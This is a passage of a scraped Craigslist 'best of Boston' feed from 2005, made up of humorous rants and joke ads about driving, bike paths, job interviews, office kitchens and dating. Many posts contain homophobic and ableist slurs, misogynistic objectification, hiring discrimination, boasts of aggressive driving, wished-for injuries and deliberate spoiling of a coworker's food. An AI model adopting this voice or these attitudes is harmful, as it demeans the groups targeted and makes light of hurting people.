on him in front of you. webmaster@craigslist.org 2005-04-29T23:19:36-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/70912286.html GAY AC - But It's Cool text Rave: Karma will get you every time... http://www.craigslist.org/about/best/bos/70819601.html Ahhhh I love Karma. So I have an interesting career, I work in Urology as a PA/Andrologist. I touch alot of penis, and I play with alot of sperm. Most of my patients are pretty uncomfortable with their visit (gizzing in a cup in a doctors office can be stressful, I understand!) so I can see how it can be stressful. I didn't realize how stressful until this morning. Now on to the rave, today I am on my way into the office and running late. I called to see if my first patient arrived and he was apparently stuck in the same traffic as me, so it was all going to work out okay. Now I am not a huge fan of cell phone talking while driving, but I don't harass people. As I am merging to get off the highway and finishing my conversation with the office this ass decided to beep, scream, ride my ass, bascially being a real pain in his car. He is behind me for a while, continuing his screaming fit and making gestures in the rear view. Finally, he passes me while screaming and giving me the finger. I pulled into DnD to get the office coffee and then went on my merry way to the office. Guess who was my patient today, none other than Mister nice driver. He needed a testicular biopsy...what a nice pleasant moment it was to see the look on his face when he realized where he had seen me before. So next time you decide to get a case of road rage, think twice about who you might be screaming and swearing at through the windown. It could be someone who will soon be palpating your scrotom, injecting local anesthesia, and/or removing a small piece of tissue. :) webmaster@craigslist.org 2005-04-29T13:11:37-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/70819601.html Rave: Karma will get you every time... text So You Like To Suck Cock http://www.craigslist.org/about/best/bos/70322443.html So You Like To Suck Cock You walked in and took a seat, dressed like you were going to an interview. We made a little small talk before banging away at the task at hand. I know you were a little nervous, but it’s ok. You’re young and I could tell you haven’t done this more than a few times before. Since I’m obviously more experienced at this, I tried my best to put you at ease. Once the idle conversation tailed off, I decided to ask the more serious questions. I liked most of your responses, even if some of them came across a little rehearsed. I thought you were attractive – not that it really mattered. In the back of my mind I’m thinking, “you’re just what I’m looking for”. As the questions became more difficult, I could see you getting more nervous. Then the “clicking” started. What the heck was it? Maybe, just a little nervous reaction? I could see you moving your tongue around and then it popped out. A stupid fucking barbell going straight through your tongue and you were flicking it around in your mouth! What I didn’t ask you: So when exactly did you find the need to express yourself by drilling a hole in your tongue and pushing a steel pin through it. Was this piece of mouth jewelry a secret signal to guys that you’re easy? Did you receive so many complaints while giving head that you found it necessary to install apparatus in your mouth? Do you lack self-respect? I came to my own conclusion. You like to suck cock. Yes, this was an interview, and there’s no way I’m paying someone $40,000 a year who is going to walk around the office wearing a giant sign in her mouth that says - I LIKE TO SUCK COCK. The letter you receive next week will be worded a bit more vague than this one. webmaster@craigslist.org 2005-04-26T15:32:20-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/70322443.html So You Like To Suck Cock text FOR RENT: 1979 Woman http://www.craigslist.org/about/best/bos/70317558.html I'm travelling during the week so I'm renting out my woman Mon-Fri. Pick up at 9am Monday and drop off Friday at 6pm. You provide transportation. She comes with regular clothes for the week (you provide any specialized items). Cooks pretty well, mostly Italian and French, but she can follow a recipe. Cleans 100 dishes per hour and vacuums 4000 sq ft in one hour. Agile, fully functional with all the usual features. Guaranteed pest free. Requires credit and medical check on all prospective renters. Unserious inquiries only. webmaster@craigslist.org 2005-04-26T15:09:12-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/70317558.html FOR RENT: 1979 Woman text RANT: Minuteman Trail: People Who Suck http://www.craigslist.org/about/best/bos/70245362.html I know this is a rant but whatever, I put it in the rant section also. Every once in a while I take an easy ride on the Minuteman bike path. By the time I am done I swear never again. A month later I don’t want to go to the fells and repeat the same mistake again. I know the bike path is for everyone but HOLY SHIT there are some really annoying people on it. 1) Two-A-Breasters: There is a reason the bike path has a yellow line. You ass wipes ride (or walk) side by side and hog the whole thing. Get with the program! The only good thing about you are your screams of fright as I blow by you without warning. 2) Queer-Eye-For-The-Biker-Guy: I realize that it is possible to buy an entire suit made from Spandex. It is also possible to beat off with a cheese grater, that doesn’t necessarily make it a good idea. If you were you going fast enough to make wind resistance an issue I might be more understanding but you are usually granny-gearing it as you swerve around trying to adjust your $200 sunglasses. Spend less time buying expensive crap and more time riding. 3) Slow-And-Lowers: Do you know that you can adjust your bike seat so that you don’t look like a bear riding a mini-bike at the circus? Take the 30 goddamn seconds to raise the freakin’ seat. Your back will thank you and you’ll be able to break 12 miles per hour with out blowing out a knee cap. 4) Sky-Bar-Enders: Bar ends ARE NOT for getting your hand six inches above the handle bars. They should not be pointing straight up in the goddamn air! If you don’t know exactly why you would want bar ends then YOU DON’T NEED THEM. They are not a convenient resting place for your chubby hands. They are for getting your weight forward during a STEEP TECHNICAL CLIMB. I hope impale yourself on them after you hit a tree because you couldn’t reach the brake lever in time. 5) Richie-Dick: Yah you, the guy with the $3000 full suspension big hit bike poking along the bike trail. The biggest hit you have ever taken was when you got butt raped by the guy who sold you that bike. YOU SUCK! You are the same dumbass who buys a Hummer so you can gun it when you roll over some construction on Mass Ave. You buy a sweet bike and then ride it on freakin’ pavement. I know you have never hit the trail cause’ there is NO DIRT on the thing. Not a spek. Plus you look like a pussy. Either take it off pavement or give it to someone who will. 6) On-Your-Late: Ok there is absolutely nothing wrong with a well timed “On your left” but here is the thing. The whole point of saying it is to warn the rider in front of you that you will soon pass them. Not that you are already next to them on their left side! If your bike is next to mine, IT’S TOO FREAKIN LATE. If we were going to collide we would have. You screaming “On your left” in my ear at that point will only increase the chances of me making an error and crashing into you. Just pass you re-tred. 7) The HFS (Huge Fucking Stroller): HOLY SHIT! Are you running a cloning lab? If your stroller needs a brake it’s too damn big. Take your kids to the playground and play some tag or something. Jesus, there are bikes flying by at 30 miles per hour. If one hits you your kid will fucking die. I know you think the world will stop for you and your precious little angels but get a clue. Three words “Severe Head Trauma”. 8) Woof-Woof-Splat: Keep your dog on a leash you ass. First of all it’s the FUCKING LAW. Second of all your dog is dumb. So dumb in fact, that it will run in front of my bike to eat some piece of shit left by another jackass dog walker. I WILL hit your dog. I will not get killed or hurt somebody else trying to swerve around Fido. I almost died last year trying to avoid an unleashed dog and will not repeat the mistake. I love dogs but I like my unbroken bones better. Take responsibility for your pet. 9) Roller Bladers: You all suck ass, flailing your arms wildly as you coast along on you roller skates. YES they are roller skates and thus, quite lame. I don’t care if the wheels are “inline”. You jackasses suck so hard I have to break you down into sub-categories of suck. 9.A) Newbi-Tard: You people are ridiculous. You are all decked out in helmets and pads. You mostly look terrified as your (usually fat) ass careens down the very slight grade of the trail. Here is a hint. If you don’t know how to STOP then it probably isn’t safe for you or anyone else for you to be on the path. I swear one of you is gonna fall in front of me and get an imprint of my front sprocket on your fat thighs. 9.B) Pack Of Newbi-Tards: See above but clustered together, literally hanging onto each other for protection. You are worse than the individuals. You take up the WHOLE TRAIL so nobody can pass. Heed the dirty looks you get and go find a freaking parking lot. I hope to kick one of you as I ride by and watch as you all fall over in a flabby whimpering heap. 9.C) Hot Chicks With Skimpy Outfits: The only reason you suck is because you are fully clothed and make me slow down to check you out. Other than that you rock. 9.D) Super Sweet Doooods: You guys are sooo fucking gay it’s not even funny. You think you are awesome as you take up the whole trail gliding back and forth in super sweet slow motion. I dream of you flying off the trail and getting wrapped around a tree. People Of Mention: Having been on the path more than a few times I have come to recognize a select few people who require special attention. The kid who shot me with a plastic BB gun: I saw you hiding behind the bush well before you shot me. You were lucky I was going fast when the yellow BB hit my chest and thus had to slow down a little before leaping off my bike and chasing you as far as your back yard. You were scared shitless which is good because you could kill someone doing that shit. If I ever see you again you won’t be so lucky. The 35 people who rode by me pretending I didn’t exist as I asked for a spare tube or a patch kit after blowing both of my spare tubes: You all suck ass. A very nice lady eventually stopped and gave me a patch. I know I was covered in mud but come on people. I always stop and ask people if they need help, common freaking courtesy. The Decked Out Intense Midget Woman: OK you are not actually a midget but you do look very small. Or perhaps you look small in comparison to the mounds of crap attached to your mountain bike which is too big for you and I am sure has never left the pavement. Not only do you fall into categories 2, 4, 5 and 6. You were also one of the 35 jerks who didn’t help me. In fact you looked me in the eye and didn’t even slow down. I KNOW you have every sort of tool and tube imaginable packed away in your various slings and packs yet you rode by as if I were invisible. You look like a goddamn scuba diver with your neoprene outfit and mirrors sticking off of every available part of your bike. I see you on Mass Ave. from time to time in the morning on my way to work. You look retarded. And why do you hang a huge plastic bag from your bar ends?!?!?! It looks like your gear makes you waterproof to the depth of at least 15 meters. What are the bags doing? Worst of all YOU ARE SLOW!!!!! God you are slow. Jettison some of your useless shit and maybe I won’t blow by you 4 times in one ride. Tubby Guy On The Tiny Road Bike: I’ve only seen you a few times. Once I passed you through an intersection not knowing that this would enrage you so much that you would be forced to almost hit me as you sprinted past me sneering. I must say I was impressed, you hauled ass dude. I’m guessing you didn’t keep it up very long tho. If I hadn’t been on the tail end of a five hour ride I would have raced. Gay Guys On The Tandem Bike: I am assuming that you are gay simply because I don’t know any straight guys who would go in 50/50 on a bright yellow tandem Cannondale and then ride it regularly in spandex forgive me if I am wrong. I haven’t seen you guys in a year or so. You were my arch rivals. Holy crap you were fast. One time I kept up with you (on the downhill) for a few minutes and almost died. I swear you would slow down until I got close and then take off again. I salute you, you bright yellow bastards. Oh and good call making the one eyed guy ride in back. People Who Rock: Yes there are some people who rock! I’m not a total asshole. Hard core road bikers: Holy crap you guys (and gals) are fast as hell, keep it up. Mountain Unicyclers: I’ve seen you in the fells and there is only one word for you BADASS!!!!!!!! Messengers/Anyone on a fixed gear with no brakes: You know it but I’ll say it anyway. Elite. Trials Riders: I wish I had skills like that. Little Kids with Big Helmets: You rock, two thumbs up! See you on the Minuteman!!!! webmaster@craigslist.org 2005-04-26T08:26:05-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/70245362.html RANT: Minuteman Trail: People Who Suck text Porn Has Completely Destroyed Me http://www.craigslist.org/about/best/bos/70028811.html There was a time - I'd say pre 1999 - when I would have tolerated a girl with an errant fat roll, a mildly problematic ass, or even non-porcelain veneered teeth. And come to think of it, I might have even green lighted a B cup chest. But with the installation of the high speed cable modem, alas, I am sad to say that those times have now passed. I now only want - and will only solicit affection from - girls with killer porn star looks and behavior. I am ashamed and I do not like what now stimulates me, but the Internet, with all of its quick fix, crack-like vices, has made me extraordinarily intolerant. Are you a Tufts or Harvard grad and a great conversationalist? Not important. Do you have a quirky sense of humor and a knack for cooking Asian Fusion cuisine? Don't care. Would you like to discuss the sub-text meaning of the whip sawed brush strokes of that Kandinsky painting at the MFA? Fuck off. Be the source of a blood rush and make me throw a rod in my pants or kindly turn into anti-matter. I am ruined. I am dead on the inside. I am ashamed and embarrassed of what now stimulates me and I know that I am irrevocably changed for the worse. For all practical purposes, Internet porn has destroyed me. So who am I? Not who you'd think. Not the dandruff-haired blob of shit in the cube next to you. Not the UES Michigan frat boy. Not the faux disheveled Downtown hipster with the silly retro Puma sneakers. Sadly, I am the "normal" one that you're actually interested in. Cultured, eloquent, well dressed. I am the one you discuss with your girlfriends over Sunday brunch. I am the one you hope to bump into at Karen's pajama themed apartment party. I am the one who takes the lead, holds doors, and hails cabs. Shit. Do you dream of a man who will "love you just for you?" Do believe that you have peripheral, intangible qualities that men of substance will key upon and gravitate to? Do you shun the gym in favor of The Apprentice and a pint of Ben & Jerry's Chunkey Monkey, thinking that your black cigarette pants will sufficiently mask any belly spillage or ass expansion? Then forget it. It's game over. You're a walking, talking non-compete clause and you're going to end up alone with a slobbering oversized Rotweiller named Chuckles. Pull your head out of your ass and be advised - porn viewing/obsession is spreading like the plague amongst my gender - upping the already unrealistic physical expectations, pushing boundaries in the bedroom (you're down with anal, right?), and providing instant, customize-able sexual highs with the push of a button. If you're female and you don't posess prodigal, Einsteinian caliber intelligence that would propel the cause of humanity forward, and, if you don't relish the idea of being alone, then . . . . . . throw every last dollar you have at your physical appearance. I'm serious. Personal trainer. Porcelain veneers. High-end boob job. Get scared and get it done. Do not extend my gender any credit. Do not hope that a guy will be in awe of your cello playing, your VP title, or your cute apartment. I promise you he won't care. Don't kid yourself into thinking he will. Men are programmed to respond to the visual. Look good or you're alone. webmaster@craigslist.org 2005-04-24T23:46:15-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/70028811.html Porn Has Completely Destroyed Me text Flasher on the T http://www.craigslist.org/about/best/bos/68266963.html Solutions for being on a train with a man who pulls out his penis: -Walk past him with a piece of paper in your hand and slice the thing. -Spill your (hot) coffee on it. -Tell him his fly is down -Yell at the top of your lungs "HEY THIS GUY HAS HIS PENIS OUT!!" -Stand next to him with a huge backpack on and turn around really fast so the backpack nails his penis ala an ignorant college kid. -Tell him the guy on the train last night had a bigger one. -Tell the person operating the train. -Complain about it on Craigslist the next day. -Turn your back to him. -Ask him "Is that your penis in your lap or are you just happy to see me?" -Ask him if, when he has sex, he prefers to just pull his penis through the hole in his pajamas. -Mind your own business and let a guy air his dick out. -Top it with some BBQ sauce and go to work. -Shit in your hand and slap him with it. -Make out with the girl sitting next to him. -Set his clothes on fire. -Set your own clothes on fire. -Expose yourself. That'll show him who's boss. -Start rubbing a strange guy's crotch to make the flasher wonder what he's doing wrong. -Start talking crazily about the government and praising Jesus, or asking "DO YOU HAVE ANY SPARE CHAAAANGE" in a really raspy voice like that dude at Downtown Crossing...that oughta make him feel uncomfortable. -Pull out your dildo/vibrator/Antonio Banderas blow-up doll and compare sizes. -Declare "If anyone has a bigger dick than this guy show me and I'll suck you off"...and see how many people drop their pants. -Smile and say "A little chilly in here, huh?" webmaster@craigslist.org 2005-04-13T13:35:24-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/68266963.html Flasher on the T text Open letter to Boston drivers http://www.craigslist.org/about/best/bos/67918113.html Open letter to Boston Drivers After living here for 8 years I’d say every single driving habit you people can dish out, has rubbed off on me. It’s all about ME now, I don’t give a shit about you and if you’re rushing to visit your dying grandmother in the hospital. I’m on the road and every one of you better get out of my way. 1 - If you’re going to slow in the left lane, you’ll find out quickly, I’ll be tailgating and honking/flashing my lights to let you know. You better be doing at the bear minimum, 10 mph over the limit, if not, move the fuck over. Also, if no one is in front of you, move the fuck over anyway because I’m trying to keep my steady pace of 20-30 mph over. 2 - If I want to get into your lane, trust me, I’ll get into your lane at all costs. If you try to keep me from getting into your lane by tailgating the car in front of you, then I’ll just move up and get in front of the car in front of you. No matter what, I’ll be ahead of you and you’ll be pissed. 3 - If there is a long line of cars for an exit or to make a turn, I’ll be cruising down the adjacent lane waiting for that one person to delay moving forward so I can jump in line. If not, I’ll just go up to the front of the line and cut in at the last second. 4 - I don’t let anyone merge in front of me but expect every one of you to let me merge in front of you. I’ll honk and get pissed off if this does not happen every time I’m on the road. 5 - Any thing you do that makes me step on the brake pedal, I’ll be pissed and have to honk at your ass. 6 - If your car is not at least rolling the moment the light turns green, you’ll get an air horn up your ass. 7 - If you’re on the phone and cut me off or something, you’ll get a “get the fuck off the phone asshole!” out the window, even if I have to put the person I’m talking to on hold. 8 - The right turn only lane is so I can get in front of all your slow asses going straight the moment the light turns green. Same goes for left turn only lanes that don’t have a separate turn arrow signal. 9 - If you pull out in front of me, I’ll wait until the last possible moment to hit the brakes to give you the illusion I’m about to slam full speed into your door. Then I’ll honk and yell obscenities. 10 - Last but not least: God forbid you don’t know where your going, if your rolling along a single lane semi busy 45 mph road at 20 mph looking for a specific street that could be anywhere for the next 10 miles. I'll be honking and flashing my lights at you to pull the fuck over so I can get to my destination before my next birthday. If you don't pull over, or tap your brakes to try to intimidate me, i'll cross over the double yellow and pull in front of you and slam my brakes back at you. That is all; fuck you all for making me drive like this. I used to be nice and courteous on the road long ago when I lived in a small town in NY. Now I’m a fucking asshole because of you. Thanks, my mom would be proud that I learned from the best. webmaster@craigslist.org 2005-04-11T12:27:13-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/67918113.html Open letter to Boston drivers text The Sofa Sleeper that Saves Relationships http://www.craigslist.org/about/best/bos/67801493.html Did your guy screw up again? Kick him to the couch for a few nights to teach him a lesson! This heavy duty (weighs more than Brittany Spears these days)sofa sleeper was one of the last pieces of furniture made in the United States before all manufacturing was offshored to China. The cushion fabric is worn on top, but the cushions are still firm enough to handle those extra pounds you put on. This is one firm couch. Toss on a $49 dollar slipcover from the Martha Stewart Collection at Target and your friends with better paying jobs won't know you are still on the Craig's List budget plan. The best thing is that the bed is one of the more comfortable ones with a real mattress not a stinky crusty foam rubber jobs like your uncle Willie's. Call 617-282-0801 and bring a buddy to help lug this bad boy home so you can set it up in time for the game.  <table><tr><td align=center><img src="http://b.im.craigslist.org/HU/FJ/dN3sItauR1o0o4afVpoaj7sSVRQh.jpg"></td> <td align=center><img src="http://a.im.craigslist.org/00/d4/zunqASY5EgyfQMzbsru6FpBb0whJ.jpg"></td></tr> <tr><td align=center> </td> <td align=center> </td></tr></table>  webmaster@craigslist.org 2005-04-10T15:23:37-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/67801493.html The Sofa Sleeper that Saves Relationships text To all office kitchen thieves http://www.craigslist.org/about/best/bos/67504361.html I say all because I won't be revealing which office because I would like these refrigerator fouls to stop. I bring in my own half and half for my coffee because the office is too cheap to supply it any longer, and many of you on several occasions have used mine without asking, without replacing, and almost always putting it back in the fridge empty or near empty. You will now suffer some of my wrath in the following manner: What do each and every one of you do upon opening a partially emptied half and half from the fridge? Yes, that is right. You smell the inside to see if it is bad. Well I promise you, the next person that does this with mine, it is going to indeed be "bad". You will probably vomit or at least get the mouth droolies and rear jaw tinglies going. You see, today I've placed a 3/4 empty H&H decoy container (with my name on it as always) with a little half and half in it that I left out over 5 days, I've tossed in a little egg salad which has nicely sank and made a lovely little home at the bottom of the carton, and for good measure, before sealing it up tightly, I busted a little ass into the container. Next time you reach for my H&H container and give it the ol 'see if it's fresh sniff test', you will be receiving a lovely bouquet, and in addition, and this really is the best part, particles that came out of my ass in the form of gas will reside inside your lungs. And that, for me, will make up for the months and months of Half and Half thievery! How ya like me now? Your Friendly Office Terrorizer <img src="http://img140.exs.cx/img140/7944/myhalfnhalf2rx.gif"> webmaster@craigslist.org 2005-04-08T11:59:03-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/67504361.html To all office kitchen thieves text 10 Reasons Why I Hate My Girlfriend's Gay Best-Friend http://www.craigslist.org/about/best/bos/67496474.html 1) You aren't just gay, you're over-the-top gay. Guys are not female; never should one be referred to as "girlfriend" or "sister". You wear tighter pants than said girlfriend, and that just freaks me out. You look like eurotrash gone horribly wrong. Just because you're gay doesn't mean that WHATEVER you wear will immediately be fashionable and good-looking. 2) You're a fucking sissy. You "can't drink beer" so we have to spend a shitload more at the bar because of you. You can't get rained on, so I have to hear you whine if it even fucking gets cloudy. You can't walk more than one mile so we take the fucking T ONE STOP... for fuck's sake you made us take the T from Arlington to Boylston... seriously dude, go die. 3) You hit on my friends. I feel as though that says enough right there. 4) You fucking drag us to gay night. Sure, the club is cool... and the booze is cheap... but IT'S FUCKING GAY NIGHT. I might as well just change my name to Vagina McVagistein. 5) You have to go shopping. All the time. You comment on what I buy. No, it's not ultra low-rise. No, it's not Super Slim-Fit. I'm not a fucking tampon. I wear clothes that fit me. Don't talk about them and i'll pretend like I don't notice you're stuffing your pants with a tubesock. 6) You're a cheap bastard and don't pay for anything. 7) You make her make me wear dumb GLBT shit. I support your cause.. in that I don't hate it. But seriously, those t-shirts are just not my thing, let alone really lame looking-- you'd think being made by gay guys they might look half-way decent... 8) You make me fight for you. You act like a dipshit in the bar, and consequently some asshat decides he wants to kick your ass (rightfully so, mind you) and you can't do shit, so I have to step in. You know why? Because SHE'LL flip if I don't help you and call me a bad boyfriend, and even if I ignore that, you'll get rocked and then i'll have to deal with your beat ass whining and crying for a fucking month. 9) You make a point of telling EVERYONE you're gay. We don't care... besides, it's not like we couldn't tell. 10) You wear my girlfriend's clothes. Nothing fuckin keeps my dick limp like seeing something that I thought looked fuckin hot on her on you now. ugh. I'm not a homophobe, and I don't hate gay people... just him. webmaster@craigslist.org 2005-04-08T11:17:41-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/67496474.html 10 Reasons Why I Hate My Girlfriend's Gay Best-Friend text Ninja seeks others http://www.craigslist.org/about/best/bos/66396570.html Mid-20's, attractive male ninja seeks others for good times. I'm looking for other ninjas, male or female, to hang out and fight crime. Technically, I guess ninjas actually commit crimes. Samurais fight crime but ninjas are so much cooler looking. So we'll just fight crime if that's cool with you. We can do other stuff besides hang out and fight crime. We can grab the occasional slice. Drink a tasty brew or two or three. I'm a musician in a band and we could really use a singer. We play rock music. So far we've been jamming on late 60's/early 70's rock standsrds. Led Zeppelin, Cream, Sabbath, etc. When we rock, we don't dress like ninjas. You don't have to wear your costume if you don't want to except when we hang out. It will be so cool hanging out with other ninjas. I've included a picture of myself. (In real life, I'm much more buff but it's kind of hard to draw with MS Paint.) If you recognize me, please don't give away my secret identity. I can't take all the drama from my non-ninjafriends and family. They just don't understand what it's like to be a ninja.  <table><tr><td align=center><img src="http://a.im.craigslist.org/BA/zd/bvwoDuj39fvoLw7tKCwVAB5aXWjO.jpg"></td> <td align=center> </td></tr> <tr><td align=center> </td> <td align=center> </td></tr></table>  webmaster@craigslist.org 2005-03-31T22:31:43-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/66396570.html Ninja seeks others text